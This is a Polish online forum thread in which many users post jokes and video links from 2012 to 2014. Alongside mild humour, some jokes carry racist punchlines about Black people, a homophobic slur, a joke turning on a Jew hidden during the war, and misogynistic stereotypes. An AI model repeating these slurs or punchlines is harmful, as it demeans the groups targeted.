- Po co mamy iść we trzech skoro tracimy wtedy razem siły? Niech idzie jeden z nas, a reszta poczeka. Królik, zamiataj. Jak coś znajdziesz, wróć po nas.
- Wolne żarty, zjecie mi pizze!
- Coś ty, nie zjemy.
- Zjecie!
- Królik, daj spokój.
- Zjecie, na pewno!
- Nie zjemy...
- No dobra, ale jak zjecie to koniec naszej przyjaźni!
- Spoko, spoko...
Królik poszedł, zniknął za wydmą, no a żółwik i lisek czekają. Czekają dzień, dwa, pięć, tydzień, miesiąc, rok, sto lat, trzysta lat, tysiąc lat, dwa tysiące....
- Te, żółwik, marchewkojad nie wraca, może byśmy tej pizzy kawałek zjedli...?
Na co zza wydmy wyskakuje królik.
- Bo nie pójdę!

dziubek72 - 15-11-2012, 19:00

Pewnego dnia przychodzi babka do zakrystii i mówi do księdza że chciała by ochrzcić kota... ksiądz na to:
- Oszalała pani ?! Nie można ochrzcić kota!! Kot to zwierze! tylko ludzie mogą przyjąć chrzest !!
- Proszę księdza ale on jest taki kochany, ładny i taki miły... nigdy nikomu nic nie zrobił i w ogóle...
- Proszę pani, ABSOLUTNIE !!! KOTA NIE MOŻNA OCHRZCIĆ !!!
- Proszę księdza ale ja dobrze zapłacę....
- Ile?...
- 15 tysięcy...

Ksiądz po chwili namysłu skusił się na pieniądze i ochrzcił babce kota. Jednak gryzło go po tym sumienie i tydzień później udał się do biskupa aby się wyspowiadać. No i mówi mu że ochrzcił kota na co biskup:
- CO ZROBIŁEŚ ??!! PRZECIEŻ NIE MOŻNA OCHRZCIĆ KOTA !!! DLACZEGO DO JASNEJ CHOLERY TO ZROBIŁEŚ ?!
- kobieta dobrze zapłaciła i dałem się skusić...
- ile Ci zapłaciła ?
- 15 tysięcy...

biskup poklepał księdza po ramieniu i spokojnie odpowiedział :

- Proszę przygotowywać kota do bierzmowania...

undefine - 16-11-2012, 00:59

jacekplacek napisał/a:

Cztery dresy jadą nowiutka BMW.


Jedzie dziadek maluchem, zgarbiony, ręce mu się trzęsą na kierownicy. Wyprzedziło go BMW, dziadek się wystraszył. BMW zatrzymało się na światłach, dziadek z tego strachu nie dał rady, przywalił w tył beemki. Wysiada z niej dwóch byków:
- I co dziadek, przyj...eś...
- Tak (cienkim wystraszonym głosem)
- Masz kasę?
- Nie
- A ubezpieczenie?
- Nie
- A syna?
- Mam
- To masz tu komóreczkę, dzwoń po synka to odrobi u mnie, bo ty się do roboty nie nadajesz...

Dziadek zadzwonił, podjeżdżają 3 Mercedesy S-klasa, wysiada kilku byków i jeden z nich mówi:
- I co tatuś???? a fee jak cofał?

Ruski - 21-11-2012, 21:25

http://www.youtube.com/wa...d&v=4EZSrGdW3hk

[ Dodano: 14-12-2012, 11:23 ]
Na przesłuchaniu policjant mówi:
-To niech Pan opowie jak to było.
-No kazali mi się oprzeć o maskę samochodu i wypiąć.
-Napastowali Pana?
-Nie... na sucho pojechali.

dziubek72 - 18-12-2012, 05:04

Facet w roboczym ubraniu, ubrudzony cementem, w autosalonie:
- A ile kosztuje Bentley GT coupe?
- 250 000 euro.
- Cholera... A na kredyt? Na rok?
- 25 000 euro miesięcznie.
- Dużo, kurdę... A na dwa lata?
- 12 500 euro miesięcznie.
- Blaszka, też niemało...
- To może miałby pan ochotę na tańszy samochód?
- Ochotę bym miał, ale płyta nam się przewróciła akurat na Bentleya...

Ruski - 20-12-2012, 17:29

Życie kobiet w trzech zdjęciach...

Samotna


Mężatka


Rozwiedziona



Życie facetów trzech zdjęciach...

Samotny


Żonaty


Rozwiedziony

Jozio - 20-12-2012, 18:05

Coś w tym jest hehe
Miły Maciej - 20-12-2012, 18:21

Dobre :)))
Voltek - 20-12-2012, 19:45

Prawdziwe :-/
PawelW - 20-12-2012, 23:58

jak qurwa i frajer :)
Ruski - 21-12-2012, 11:55

Tak jest Panowie. To jest samo życie;)

Jedziemy dalej:)

Idzie facet ulicą, a przed nim idzie bardzo atrakcyjna dziewczyna.
Facet zaczyna komentować:
- O jakie zgrabne nogi... a jaki piękny tyłeczek...
Dziewczyna odwraca się:
- Co, bzyknęłoby się ?
Facet:
- Oooo, a w dodatku mądra.

[ Dodano: 31-12-2012, 16:25 ]


[ Dodano: 02-01-2013, 22:40 ]
Przychodzi synek do taty i mówi "tato mam dobrą i złą wiadomość"
-jaką?pyta zaciekawiony ojciec
-strzelałem z tego łuku co mi na gwiazdkę kupiłeś i trafiłem tego sąsiada co go nie lubisz prosto w ptaka
-brawo synku!a jaka jest ta zła wiadomość?
-przebiłem mamie policzek...

TYMOTEUSZ - 24-01-2013, 19:01

Nie żebym był rasistą ale jak gram na pianinie to w czarny zawsze mocniej napier....am
Ruski - 25-01-2013, 21:18

W Afryce rośnie drzewo o nazwie Marula z którego owoców produkuje się wódkę

Raz w roku drzewo owocuje i jego owoce zawieraja sok o dużej zawartości alkoholu. Ponieważ jest to w czasie pory suchej, okoliczne zwierzęta uzupełniają braki wody zjadając jego owoce. Czym to się kończy

http://youtu.be/D5E5TjkDvU0

jacekplacek - 29-01-2013, 20:07

Po naszymu :)


juwisz - 29-01-2013, 21:16

a co to za gorolska zupa (1:28), pierona, kaj jest żymlok? :ping:
zielas - 02-02-2013, 23:15

Siedzi facet nad przeręblem i łowi w najlepsze ryby. Nagle podchodzi do niego inny facet i mówi:
- Nic pan tu nie złowi.
- A skąd pan wie?
- Bo jestem kierownikiem tego lodowiska

Ruski - 03-02-2013, 09:41

http://youtu.be/TWXZy2dOuBc
martin - 03-02-2013, 10:26

http://www.youtube.com/watch?v=DaKf7fdk9fI
BitPump - 04-02-2013, 14:54

Poszedł wędkarz na ryby zarzucił wędkę i czeka...mija dłuższy czas i nic, nagle do niego podpływa krokodyl i pyta: co nie biorą?
Wędkarz - a no nie biorą.
Krokodyl - to olej te ryby i chodź się wykąpać...

Ruski - 05-02-2013, 22:28

Mąż i żona strasznie się pokłócili.
Dla odreagowania żona postanowiła wziąć kąpiel.
Poszła do łazienki, odkręciła kurki nad wanną i rozebrała się. W oczekiwaniu aż woda naleci stanęła przed lustrem. Popatrzyła na "wiszące ogrody" swych piersi, obejrzała z niesmakiem swój za duży brzuch, stanęła bokiem i zdegustowana zlustrowała swe obwisłe pośladki.
Pełna obrzydzenia poruszała wałkami tłuszczu, głaskała ze wstrętem uda z cellulitisem.
Patrzyła chwilę zniesmaczona .... aż tu nagle jej twarz rozpromienił radosny uśmiech.!!!
" Dobrze mu tak - niech ma za swoje ".

[ Dodano: 11-02-2013, 18:33 ]
Co tak tu cicho?
http://youtu.be/fT8InEdvBRo

The_PiotREX - 18-02-2013, 19:10

A propos testu parówek. Wiesz jak testuje się kisiel? ;>
Grotto8 - 19-02-2013, 16:52

Spot wyborczy PO z 2007r
jacekplacek - 19-02-2013, 18:08


QQS - 19-02-2013, 21:38

Kandydatki na miss..

http://www.youtube.com/watch?v=oEped1Ch2pc

Crypturgus - 19-02-2013, 23:37

Zdecydowanie nienurkowe

http://youtu.be/eIyGbiMciq4

jacekplacek - 20-02-2013, 14:31

Facet wlazł na ławkę w parku i zaczyna się drzeć:
- Precz z hipokryzją!
Przechodzący obok ludzie patrzą zdziwieni, a facet wrzeszczy dalej:
- Precz z pazernością!
Coraz więcej gapiów zatrzymuje się przy nim, a ten nawija dalej:
- Precz z pedofilią!
W końcu jakaś babcia nie wytrzymała i krzyczy:
- Panie, coś się pan tak tych księży przyczepił?!

kdyle - 22-02-2013, 08:45

REFORMA EDUKACJI W POLSCE na przykładzie zadania z matematyki:

1950 r.
Drwal sprzedał drewno za 100 zł. Wycięcie drzewa na to drewno kosztowało go 4/5 tej kwoty. Ile zarobił drwal?

1980 r.
Drwal sprzedał drewno za 100 zł. Wycięcie drzewa na to drewno kosztowało go 4/5 tej kwoty - czyli 80 zł. Ile zarobił drwal?

2000 r.
Drwal sprzedał drewno za 100 zł. Wycięcie drzewa na to drewno kosztowało go 4/5 tej kwoty, czyli 80 zł. Drwal zarobił 20 zł. Zakreśl liczbę 20.

2010 r. (tylko dla zainteresowanych)
Drwal sprzedał drewno za 100 zł. W tym celu musiał wyciąć kilka starych drzew. Podzielcie się na grupy i odegrajcie krótkie przedstawienie, w którym postarajcie się przedstawić, jak w tej sytuacji czuły się biedne zwierzątka leśne i rośliny. Przekonajcie widza, jak bardzo niekorzystne dla środowiska jest wycinanie starych drzew.

2013 r.
Drwal sprzedał drewno za 100 zł. Pokoloruj drwala.

reju - 22-02-2013, 09:08

no niezłe :P
Voltek - 22-02-2013, 19:08

Samo życie :-)
Piotr Stańczuk - 22-02-2013, 22:06

http://www.wimp.com/catowl/
Grotto8 - 26-06-2013, 12:39

W pubie o bardzo ciemnym wnętrzu siedzi przy barze znudzony facet
i popija drinka.. Czuje, ze obok też ktoś siedzi, wiec zagaduje:
- Eee, opowiedzieć ci dowcip o blondynce?
Na to głos (kobiecy):
- No, możesz. Ale musisz wiedzieć, ze jestem blondynka 1,80 wzrostu
i 70 kg wagi i jestem naprawdę silna. A obok mnie siedzi tez blondynka,
1,90 wzrostu, 80 kg wagi i podnosi na co dzień ciężary. A jeszcze dalej przy
barze siedzi kolejna blondynka, 2 metry wzrostu. To mistrzyni kickboxingu.
Dalej chcesz opowiedzieć ten dowcip?
Facet pociąga powoli ze szklanki, myśli i mówi:
- Nie, już nie... Pie*dolę, nie będę go trzy razy tłumaczył.

Yavox - 26-06-2013, 12:56

O, Grotto8, widzę że złapałeś paseczek za "pomówienie moderatora"! Niniejszym zgłaszam to zdarzenie w kategorii "dowcipy, nienurkowe"! :mrgreen:
JacekKG - 26-06-2013, 18:08

Ale administrator nie oznacza przeciez moderatora.
slawek290 - 26-06-2013, 22:17

Coś Tu świzda , coś tu gwizda ..... facet , pistolet i .....
Ruski - 05-07-2013, 21:41

A co tu taka cisza?



Siedzi sobie Rusek nad brzegiem jeziora i łowi ryby. Nagle zlapał zlotą rybkę, a ta oczywiście powiedziała:
- Wypuść mnie a spełnie twoje najskrytsze zyczenie.
- Ale ja tam nie wiem co bym chciał.
- Zastanów się. Mercedesa chciałbyś?
- Nie no, Mercedesa to ja mam.
- A willę z basenem chciałbyś?
- Nie no, willę to ja mam.
- A pełno wódy i dziewczyn chciałbyś?
- Nie no, wóde i dziewczyny to ja mam.
- A medal za odwagę masz?
- Medalu to ja nie mam.
- A chciałbyś?
- Medal to bym chciał.
Rybka machnęła pletwą. Nagle Rusek otwiera oczy, trzyma w każdej ręce po 5 granatów, jedzie na niego 20 czołgów i krzyczy:
- Kur** pośmiertny mi dała!!

[ Dodano: 07-07-2013, 18:11 ]


[ Dodano: 07-07-2013, 18:14 ]


[ Dodano: 07-07-2013, 18:14 ]

gringo - 16-07-2013, 13:37

Osioł pyta lwa:
- Lew, czemu ty jesteś królem zwierząt, a nie ja?
- No, bo mam grzywę!
- Ja też mam.
- I mam taki pędzelek na końcu ogona!
- I ja też mam.
Lew zamyślił się i kontruje:
- A ja dłużej od ciebie seks uprawiam, zanim skończę!
- Nie wierzę!
- A chodź, sprawdzimy!
- Ok, sprawdzajmy!
- Dobra, to ja pierwszy. Nadstaw się i mierz czas.
Lew zabrał się za osła i po 21 minutach skończył. Teraz kolej osła…
Lew leży, kontroluje czas, minęło 15 minut, a osioł ani myśli kończyć. Lew zatem sięga po komórkę, dzwoni do lwicy i pyta:
- Kochanie, co ty robisz, żebym ja szybciej kończył?
- No, Lewku, na przykład pupą kręcę.
Lew zaczął wiercić pupą, osioł jakby poczerwieniał, ale dalej robi swoje. Lew znowu dzwoni do lwicy:
- Słuchaj, a co jeszcze robisz?
- No, miziam cię pazurami po jajeczkach.
Lew zaczął miziać osła i osioł w 20 minucie finiszuje i pada wyczerpany. Lew dumnie pyta:
- No i co, teraz przyznasz, żem jest królem zwierząt?
Osioł, z wciąż zamkniętymi z rozkoszy oczami:
- Lew, tyś nie król… tyś BÓG!

partyzant9 - 16-07-2013, 20:09

Poniedziałek.
Porwaliśmy samolot na lotnisku w Moskwie, pasażerowie jako zakładnicy. Żądamy miliona dolarów i lotu do Meksyku.

Wtorek.
Czekamy na reakcję Władz. Napiliśmy się z pilotami. Pasażerowie wyciągnęli zapasy. Napiliśmy się z pasażerami. Piloci napili się z pasażerami.

Środa.
Przyjechał mediator. Przywiózł wódkę. Napiliśmy się z mediatorem, pilotami i pasażerami. Mediator prosił, żebyśmy wypuścili połowę pasażerów. Wypuściliśmy, a co tam.

Czwartek.
Pasażerowie wrócili z zapasami wódki. Balanga do rana. Wypuściliśmy drugą połowę pasażerów i pilotów.

Piątek.
Druga połowa pasażerów i piloci wrócili z gorzałą. Przyprowadzili masę znajomych. Impreza do rana.

Sobota.
Do samolotu wpadł SPECNAZ. Z wódką. Balanga do poniedziałku.

Poniedziałek.
Do samolotu pakują się coraz to nowi ludzie z gorzałą. Jest milicja, są desantowcy, strażacy, nawet jacyś marynarze.

Wtorek.
Nie mamy sił. Chcemy się poddać i uwolnić samolot. SPECNAZ się nie zgadza. Do pilotów przyleciała na imprezę rodzina z Władywostoku. Z wódką.

Środa.
Pertraktujemy. Pasażerowie zgadzają się nas wypuścić, jeśli załatwimy wódkę.

Jeden z moich ulubionych dowcipów ENJOY :-)

[ Dodano: 16-07-2013, 20:21 ]
Nowy ksiądz był spięty jak prowadził swoją pierwszą mszę w parafii, więc poprosił kościelnego żeby mógł do świętej wody dolać kilka kropelek wódki, aby się rozluźnić.
I tak się stało. Na drugiej mszy zrobił tak samo i czuł się tak dobrze(a nawet lepiej) jak na pierwszej mszy, ale gdy wrócił do pokoju znalazł list:

DROGI BRACIE:
-nast.razem dołóż kropelki wódki do wody a nie wody do wódki
-na początku mówi się "Niech będzie pochwalony", a nie "a fee mać"
-po drugie, Jezusa ukrzyżowali Żydzi, anie Indianie
-po trzecie Kain nie ciągnął kabla, tylko zabił Abla
-po czwarte po zakończeniu kazania schodzi się z ambony po schodach, a nie zjeżdża po poręczy
-na koniec mówi się "Bóg zapłać" a nie "Ciao"
-Krzyż trzeba nazywać po imieniu a nie do "duże T"
-nie wolno mówić na Judasza "ten skurwysyn"
-na krzyżu jest Jezus a nie Che Guevara
-jest 10 przykazań a nie 12
-jest 12 apostołów a nie 10
-Ci co zgrzeszyli idą do piekła a nie w pizdu
-inicjatywa żeby ludzie klaskali była imponująca, ale tańczyć makarenę i robić "pociąg" to przesada
-opłatki są dla wiernych a nie na deser do wina
-pamiętaj że msza trwa godzinę a nie dwie połówki po 45minut
-poza tym Maria Magdalena była jawnogrzesznicą a nie kurwą
-Jezusa ukrzyżowali a nie zajebali
-ten obok w "czerwonej sukni" to nie transwestyta , to byłem ja, Biskup
I w końcu Jezus była pasterzem a nie a fee domokrążcą!!

Mam nadzieję że nikogo nie uraziłem użytymi słowami, ale bez nich by czegoś tu brakowało ;-) ENJOY.

Ruski - 17-07-2013, 08:03

W aptece:
- Dzień dobry! Jest wazelina?!
- Tak, akurat ostatnie opakowanie.
- Uff! Uratowała mi pani dupę

KacperKonopek - 19-09-2013, 11:26

Mama dała Jasiowi ostatnie 50 złotych na zakupy (do wypłaty było jeszcze 2 tygodnie) i mówi:
- Jasiek, kupisz chleb, margarynę i kawałek sera. Reszta kasy trafia na stół.
Jasiek poszedł do sklepu ale po drodze spodobał mu się misiek za całe 50 złotych. Kupił misia i pędzi do domu. Matka na to:
- Jasiu coś ty zrobił! Natychmiast idź i sprzedaj tego misia.
Jasiek bez namysłu poszedł opchnąć misia sąsiadce.
Wchodzi do jej mieszkania a sąsiadka w łóżku z jakimś facetem. Nagle rozlega się pukanie do drzwi. Sąsiadka wpycha faceta razem z Jasiem do szafy. Jasiek w szafie do faceta:
Jasiu: - Kup pan misia.
Facet: - Spadaj chłopcze.
Jasiu: - Bo będę krzyczał.
Facet: - Masz pięćdziesiąt złotych i siedź cicho.
Jasiu: - Oddaj misia.
Facet: - Nie oddam.
Jasiu: - Oddaj, bo będę krzyczał.

Sytuacja powtórzyła się paręnaście razy, Jasiu zarobił kasy od cholery, wraca do domu z zakupami (kawior, krewetki, szynki, i całą furę szmalu jeszcze przytargał). Matka do Jasia:
- Jasiek chyba Bank obrabowałeś!? Natychmiast idź do księdza i się wyspowiadaj!
Jasiek poszedł do kościoła, podchodzi do konfesjonału i mówi:
- Ja w sprawie Misia...
- Spier..... już nie mam kasy!


Pani w szkole zadała aby dzieci w domu wymyśliły jakiś ładny kolor.
Jasiu w domu siedział i starał się wymyślić jakiś ładny kolor i wymyślił! Anielski Błękit!
Tak, pomyślał, że to świetny pomysł, ale postanowił zadzwonić do Tomka, najlepszego ucznia w klasie, aby porównać kolory.
- Cześć Tomek! Jaki kolor wymyśliłeś?
- Anielski Błękit Jasiu
Jasiu zdenerwowany odłożył słuchawkę i pomyślał, "Pani na pewno nie uwierzy, że to ja go wymyśliłem, bo to Tomek jest najlepszym uczniem w klasie"
Jasiu dalej siedział i rozmyślał nad kolorem aż wymyślił Krwistą Czerwień!
Uradowany na następny dzień w szkole nie mógł się doczekać aż pani wywoła go do odpowiedzi, aby pochwalić się swoim kolorem. Pani zaczęła pytać:
- Tomku jaki kolor wymyśliłeś? - zapytała pani
- Anielski Błękit proszę pani! - odpowiedział Tomek
- ŚWIETNIE TOMKU! 5!
- Teraz może Jasiu nam powie.
Nagle do klasy wszedł pan Dyrektor wraz z małym murzynkiem.
- Dzieci, to wasz nowy kolega Mumud z Kenii. Będzie chodził do waszej klasy - powiedział dyrektor
- Świetnie, Witaj Mumud, może od razu powiesz nam jaki śliczny kolor znasz? - zapytała pani
- Krwista Czerwień proszę pani! - odpowiedział mały murzynek
- Świetnie, no to teraz pora na Jasia. Jasiu jaki kolor wymyśliłeś?
- Je***y czarny

gringo - 19-09-2013, 12:41

Nauczycielka poleciła dzieciom, żeby napisały wypracowanie, które zawierać będzie cztery aspekty:
1. Monarchia
2. Seks
3. Religia
4. Tajemnica
Powiedziała, że kto skończy będzie mógł iść do domu. Dzieci zaczęły pisać. Po kilkunastu sekundach wstaje Jasio i oddaje pracę. Nauczycielka nie chce wierzyć, że udało mu się już skończyć. Prosi go, żeby odczytał swoje wypracowanie.

Jasio czyta z dumą:
- " Ktoś zerżnął królową! Mój Boże! Kto...?"

lukaszl - 19-09-2013, 13:02

Mąż pyta żonę:
- Co byś zrobiła gdybym wygrał w totka?
- Wzięłabym połowę wygranej i odeszła od ciebie - oświadcza żona.
- Trafiłem trójkę, masz osiem złotych i won! - odpowiada mąż.



Mąż siedzi przy komputerze, za jego plecami żona:
- No weź, wpuść mnie na chwilę, teraz ja sobie posurfuję po internecie...
Mąż na to:
- Noż kur** mać!!! Czy ja ci wyrywam gąbkę z ręki jak zmywasz naczynia?!?

pawlos1976 - 19-09-2013, 14:06

Dzwoni kierowca tira do szefa
- szefie rozjechałem psa
- auto całe?
- całe
- to go zakop i jedź dalej
to go zakopał ale za chwilę znów dzwoni
- szefie zakopałem go
- no to po co znowu dzwonisz?
- nie wiem co z radiowozem zrobić

Yabulon - 21-09-2013, 10:03

Spotyka się dwóch przyjaciół:
- Hej, co jutro robisz, stary?
- Idę z synem za miasto, kupiłem latawiec - będziemy puszczać w powietrze takiego ogromnego smoka! A ty?
- No w sumie prawie to samo - odprowadzam teściową na lotnisko.

martuska8 - 01-10-2013, 13:49

Policjant zatrzymuje samochód, którym jadą trzy osoby.
- Gratuluję - mówi policjant - jest pan tysięcznym kierowcą, który przejechał nową szosą.
Oto nagroda pieniężna od firmy budującej drogi!
Obok pojawia się reporter i pyta:
- Na co wyda pan te pieniądze?
- No cóż - odpowiada po namyśle kierowca - chyba w końcu zrobię prawo jazdy...
Żona kierowcy z przerażeniem:
- Nie słuchajcie go panowie... On zawsze lubi żartować, gdy za dużo wypije!
W tym momencie z drzemki budzi się, siedzący z tylu dziadek i widząc policjanta zauważa:
- A nie mówiłem, że skradzionym samochodem daleko nie zajedziemy!...

Pysio - 07-10-2013, 22:50

Akcja dzieje się w samolocie.
Leci dwóch pedałów, nagle jeden do drugiego mówi:
[1] Ej, stary chodź się pobzykamy
[2] No coś ty, tutaj? Poj***o cię? W samolocie?
[1] No tak, zobacz tutaj nikt na nikogo nie zwraca uwagi, pokażę Ci!
Wnet pedał [1] wstaje z fotela i głośno się pyta:
[1] Przepraszam, ma ktoś może pożyczyć długopis?
Cisza, nikt się nie odzywa. No to ten drugi się zgodził i zrobili co mieli zrobić.

Po pewnym czasie zaczęła stewardesa [S] chodzić po pokładzie i widzi gościa [G], cały obrzygany, na spodniach, na koszuli...
Stewardessa pyta:
[S] Nie mógł pan poprosić o torebkę na wymiociny?
[G] Proszę Pani! Tamten Pan poprosił o długopis to go w dupę wyru**ali.


No i dodatkowo jeszcze mały suchar.

Dlaczego Francuzi kupują karabiny w Ikea?
Bo lubią składać broń.

kaszmir - 28-10-2013, 11:01

Na stacji benzynowej blondynce zatrzasnęły się kluczyki.
Obok niej przejeżdża dwóch facetów.
Jeden zaczyna się śmiać w głos.
Drugi się pyta:
- Z czego się tak śmiejesz?
- Bo tamta blondynka próbuje wyciągnąć kluczyki drucikiem.
- Co w tym takiego śmiesznego?
- Bo w środku siedzi druga blondynka i mówi - trochę w lewo, trochę w prawo.

bilbo99 - 18-12-2013, 14:55

Spotyka się dwóch kumpli. Jeden do drugiego mówi:
- Miałem proroczy sen.

- Co ci się śniło ? – pyta drugi.

- Śniło mi się, ze spałem w hotelu. Pokój miałem na piątym piętrze, numer pokoju 555. Nagle obudził mnie dzwonek pięciu budzików, z których każdy
wskazywał godzinę piątą. Umyłem się ubrałem i poszedłem na przystanek. O 5:55 podjechał tramwaj nr 5. Wsiadłem i pojechałem.
Gdy przejeżdżałem obok toru wyścigów konnych nagle mnie tknęło i zrozumiałem proroctwo. Wysiadłem i poszedłem na tor. W kasie nr 5 postawiłem 5555 zł na konia nr 5.

- Wygrałeś? – pyta kumpel

- Niestety nie – przybiegł kur*a piąty.

wodnik123 - 23-12-2013, 13:50

Dziewczyna do chłopaka:
- Co mi kupisz pod choinkę?
- Świeczkę zapachową
- Aha... a co ty byś chciał?
- Ciebie, zapakowaną tylko w kokardę...
- No wiesz? Prezenty powinny być podobnej wartości...
- To dorzuć jeszcze dwa Snickersy

Kurierex - 13-01-2014, 21:08

Profesor: Samolot przewoził 500 cegieł. Jedna cegła wypadła z samolotu. Ile cegieł pozostało na pokładzie??
Student: Cóż, to proste! 499!
Profesor: To prawda. Następne pytanie. Jak umieścić słonia w lodówce w trzech krokach??
Student: 1. Otwórz lodówkę, 2. Umieść słonia 3. Zamknij lodówkę.
Profesor: Następne. Jak umieścić jelenia w lodówce w czterech krokach?
Student: 1. Otwórz lodówkę. 2. Wyciągnij słonia. 3. Wsadź jelenia. 4. Zamknij lodówkę.
Profesor: Doskonałe! Następne pytanie. Król zwierząt lew ma urodziny. Przyszły na nie wszystkie zwierzęta, z wyjątkiem jednego. Którego?
Student: Jeleń. Bo jest w lodówce!
Profesor: Super! Następne. Czy babcia może przejść przez bagna na których żyją krokodyle?
Student: Oczywiście, że może. Krokodyle są na urodzinach u lwa.
Profesor: Doskonale. A teraz ostatnie pytanie. Babcia przechodząc przez bagna niestety zginęła. Jak?
Student: Yyy… eee… utonęła?
Profesor: No i oblałeś synku. Cegła coś ci mówi?

kraknur - 18-02-2014, 18:49

Siedzi facet nad brzegiem szamba i grzebie w nim. Przechodzi ktoś obok i pyta:
- Panie, co pan robisz?
- A wie pan, wpadła mi marynarka...
- Ale chyba nie będziesz pan w niej chodził?!
- Nie, ale w kieszeni miałem kanapki.

majster286v - 28-02-2014, 14:46
Temat postu: Fajne dowcipy na żywo
...
kraknur - 14-03-2014, 09:56

Chyba jestem najbardziej pechowym człowiekiem na świecie. Na ostatnim pogrzebie to ja złapałem wieniec.
jedrek90 - 25-03-2014, 11:36

^ Zawsze jak babki mi mowily na slubach ze bede nastepny, ja zaczalem to mowic do nich na pogrzebach
Yabulon - 31-03-2014, 18:59

Jak informuje agencja JPP wkrótce W.PUTIN odbierze

pokojową nagrodę Nobla.

-Jeszcze nie wiadomo komu!i kiedy!

-Ale wsrod laureatów mozna zaobserwowac

duze zaniepokojenie i zdenerwowanie





Syn pyta ojca

tato-a ty masz z mamą

cokolwiek wspólnego?

-tak synku-ciebie!

-optymista--dodała zona pod nosem

olex - 08-06-2014, 13:36

Brunetka wyjmuje torebkę z cukierkami i pyta blondynkę:
- Chcesz krówkę?
- Nie, dziękuje jestem wegetarianką!

adis - 30-06-2014, 10:15

Siedzi Łotysz z synem na altance i jedzą ciepły, syty obiad.
Syn pyta się taty: - Tato, skąd jest to jedzenie?'
Ale nie ma jedzenia, jest tylko mroźna łotewska zima, halucynacje z niedożywienia i śmierć.

Hermes - 02-07-2014, 17:48

Staruszek u spowiedzi:
- Proszę księdza, w czasie wojny ukrywałem Żyda u mnie w piwnicy.
- To bardzo dobry uczynek, chwalebny!
- Ale proszę księdza, za każdy dzień musiał mi płacić 100 dolarów.
- To zrozumiałe, ryzykowałeś życiem, to żaden grzech.
- Co za ulga - mówi staruszek, oddala się na parę kroków, ale po chwili wraca i niepewnie pyta:
- A może powinienem mu powiedzieć, że wojna się już skończyła?

kalotik - 03-07-2014, 23:15

Okulista do pacjenta:
- Mam dla pana dwie nowiny, dobrą i złą.
- Niech pan zacznie od dobrej, doktorze.
- Niedługo będzie mógł pan czytać bez okularów.
- To wspaniale, panie doktorze, cudownie! A zła?
- Ucz się pan Braille’a.

wero - 05-07-2014, 21:50

Marynarz wraca wcześniej z rejsu w czasie gdy żona przyjmuje kochanka. Wypycha go w pośpiechu nagiego na balkon.
Przyjmuje serdecznie męża, podaje mu kolację. Jako, że jest zima a mieszkanie na 10 piętrze, facet nie ma szans.
Puka do drzwi balkonu. Otwiera mu zdziwiony marynarz:
- Bardzo pana przepraszam, byłem właśnie u sąsiadki na górze, kiedy wrócił jej mąż. Zeskoczyłem na wasz balkon. Czy mógłby mi pan pomóc?
- Panie, my mężczyźni musimy sobie pomagać. Pożyczył facetowi swoje ubranie, poczęstował kieliszkiem wódki. Wieczorem kładąc się do łóżka nagle się zamyślił:
- Maryśka, albo ty jesteś ku**a, albo nam piętro dobudowali.

weronika2222 - 06-07-2014, 12:10

Sędzia pyta oskarżonego w sądzie:
- Co zrobiłeś z tą cysterną wódki?
- Sprzedałem - odpowiada oskarżony.
- A co zrobiłeś z pieniędzmi?
- Przepiłem.

aldik453 - 09-07-2014, 12:55

Stoi Jaś na ulicy i woła:
- Znalazłem, znalazłem, znalazłem!
Podchodzi starszy pan i pyta Jasia:
- Co znalazłeś?
- Da mi pan złotówkę, to panu powiem - odpowiada Jaś.
Starszy pan daje mu złotówkę i pyta:
- No i co znalazłeś?
- Da pan jeszcze jedną, to panu powiem.
Starszy pan dał się namówić i Jaś dostał drugą złotówkę. Pan go dopytuje:
- No i co znalazłeś?
- Znalazłem głupiego, co dał mi złotego.

iput - 11-07-2014, 14:10

Facet baraszkuje w łóżku z piękna blondynką. Nagle dziewczyna pyta:
- Ale nie masz AIDS, co?
- Oczywiście, że nie!
- Dzięki Bogu! Nie chciałabym znowu tego złapać.

*************************
Przychodzi baba do lekarza.
- Panie doktorze, mojego męża ugryzła pszczoła.
- Gdzie?
- W tego... no wie pan...
- Rozumiem. A czego pani ode mnie oczekuje?
- Niech pan da mężowi coś, żeby ból minął, a opuchlizna została.

Opium - 11-07-2014, 20:13

Putin rozmawia przez telefon... Po chwili zasłania słuchawkę ręką i mówi
- Wezwać mi tu admirała floty północnej!
Wchodzi admirał. Putin się pyta:
- Czy mieliśmy dzisiaj jakieś straty we flocie?
- Nie - odpowiada marszałek.
- Na pewno? - upewnia się Putin. - Żaden okręt nie zatonął, żaden nie zaginął, wszystkie łodzie podwodne wypłynęły na powierzchnie?
- Na 100% - zaklina się admirał.
Putin podnosi słuchawkę.
- No to przykro mi, Obama. A4 - pudło!

[ Dodano: 11-07-2014, 20:14 ]
W toalecie dyskoteki policjant zatrzymuje studenta w celu przeszukania. Znajduje w jego kieszeni grama, na co student mówi:
- Za każdym razem, kiedy próbuje spuścić woreczek z suszem w kiblu, on nagle pojawia się u mnie w kieszeni.
Policjant się śmieje i mówi:
- Naprawdę oczekujesz, że w to uwierzę?
- Jeśli chcesz to pokażę ci! - odparł student.
Policjant podał mu torebkę z suszem i student spłukuje ją w kiblu.
- Ok, i gdzie ona teraz jest? - pyta się policjant.
- Co? - odpowiada student.
- Narkotyki.
- Jakie narkotyki?

Glpx - 14-07-2014, 18:46

Jakie auto wjedzie na półmetrowe krawężniki drogowe?
Służbowe

Sebiriusz - 14-07-2014, 18:59

Ha! Dobre... chyba kupię sobie jakiś krawężnik :pad:
michaell1 - 14-07-2014, 20:22

Facet wsiada do samolotu z gromadką rozwrzeszczanych dzieciaków.
Z trudem ulokował towarzystwo na fotelach, otarł pot z czoła i padł na fotel.
Starsza dama siedząca obok pyta:
- To wszystko pana dzieci?
Koleś nieco wkurzony:
- Nie, pracuję w fabryce prezerwatyw, a to są reklamacje

seneka - 15-07-2014, 03:18

Idą dwie blondynki wzdłuż rzeki po przeciwnych jej stronach.
Nagle jedna krzyczy:
- Nie wiesz, jak mogę przejść na drugą stronę?!
- Przecież jesteś po drugiej stronie!

szalona2 - 15-07-2014, 18:47

- Halo, pogotowie! Moja żona leży nieprzytomna w kuchni, co mam robić?!
- Na początek proszę się uspokoić.
- OK, już jestem spokojny. Co teraz?
- Jest pan obok żony?
- Nie, przecież miałem się uspokoić. Sączę piwo w wannie.

kulesa - 18-07-2014, 05:15

Rozmawiają dwie blondynki:
- Mój mąż to straszny kłamczuch! - zwierza się jedna.
- Dlaczego tak sądzisz? - pyta druga.
- Mówił, że wczorajszą noc spędził ze swoim kumplem, a kumpel był właśnie u
mnie...

madzia46 - 18-07-2014, 13:59

Facet mówi do sąsiada:
- Byłem z teściową w zoo.
- I jak było?
